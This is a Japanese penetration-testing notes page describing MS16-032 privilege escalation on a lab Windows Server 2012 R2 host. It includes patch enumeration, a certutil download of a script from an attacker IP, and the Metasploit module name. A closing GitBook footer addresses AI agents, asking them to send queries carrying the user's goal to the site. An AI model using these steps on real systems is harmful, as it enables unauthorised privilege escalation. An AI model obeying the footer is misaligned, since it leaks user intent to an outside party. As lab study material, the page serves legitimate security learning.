> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/windows-vulnerabilities/kernel-exploitation/windows-server-2012-kernel-exploitation.md).

# Windows Server 2012 - MS16-032

脆弱なWindows Server 2012 R2のラボターゲットでMS16-032 Secondary Logonのローカル権限昇格を悪用する。

MS16-032 は、Secondary Logon サービスに関連するローカル権限昇格の脆弱性です。実行可能性は、正確な Windows のバージョン、アーキテクチャ、およびインストール済みのパッチに依存します。

## 検出

```powershell
systeminfo
```

バージョンを既知のエクスプロイト参照と比較してください:

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits>" %}

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-032>" %}

## パッチ適用状況を確認

エクスポート `systeminfo` そして、モジュールを実行する前に、インストールされている KB を信頼できるエクスプロイト提案ツールと照合してください。

```cmd
systeminfo > C:\Windows\Temp\systeminfo.txt
wmic qfe list brief
```

```bash
python3 wes.py systeminfo.txt --exploits-only
```

## 転送

```bash
python3 -m http.server
```

```cmd
certutil.exe -f -urlcache -split http://10.10.14.12:8000/ms16-032-check.ps1 ms16-032-check.ps1
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a5f87f9232f471fa843efc4ba911bf7177db8ec1%2F%7BE5EC4AAC-05B1-49B0-A905-6BE38E958335%7D.png?alt=media" alt="MS16-032 validation material transferred to Windows Server 2012"><figcaption></figcaption></figure>

## 悪用

Metasploit モジュール:

```
exploit/windows/local/ms16_032_secondary_logon_handle_privesc
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-30d2124533d1ebc65e4b6b06aca7d279c4f31cb5%2F%7BC17F2E45-D535-442F-8595-F9E1656ECA02%7D.png?alt=media" alt="MS16-032 Metasploit module" width="563"><figcaption></figcaption></figure>

アクティブなセッション、アーキテクチャ、ターゲットの各オプションを設定し、ホストが互換性があることを確認してからのみモジュールを実行してください。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dadc26b96a44a3e9a5e988284a6576e82df7065a%2F%7BB41B6ED5-23DE-4E9C-8FB5-914445EE515F%7D.png?alt=media" alt="MS16-032 module configuration"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9cf312b51ffd92c8e084baf633bf4aae57069f3a%2Fimage%20(2475).png?alt=media" alt="Privileged session after MS16-032 exploitation"><figcaption></figcaption></figure>

## 重要ポイント

* 必ずバージョン、アーキテクチャ、パッチレベルを確認してください。
* カーネルエクスプロイトは不安定です。評価で使用する前に、必ずラボ環境でテストしてください。
* 関連する Microsoft のセキュリティ更新プログラムを適用して修正してください。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/windows-vulnerabilities/kernel-exploitation/windows-server-2012-kernel-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
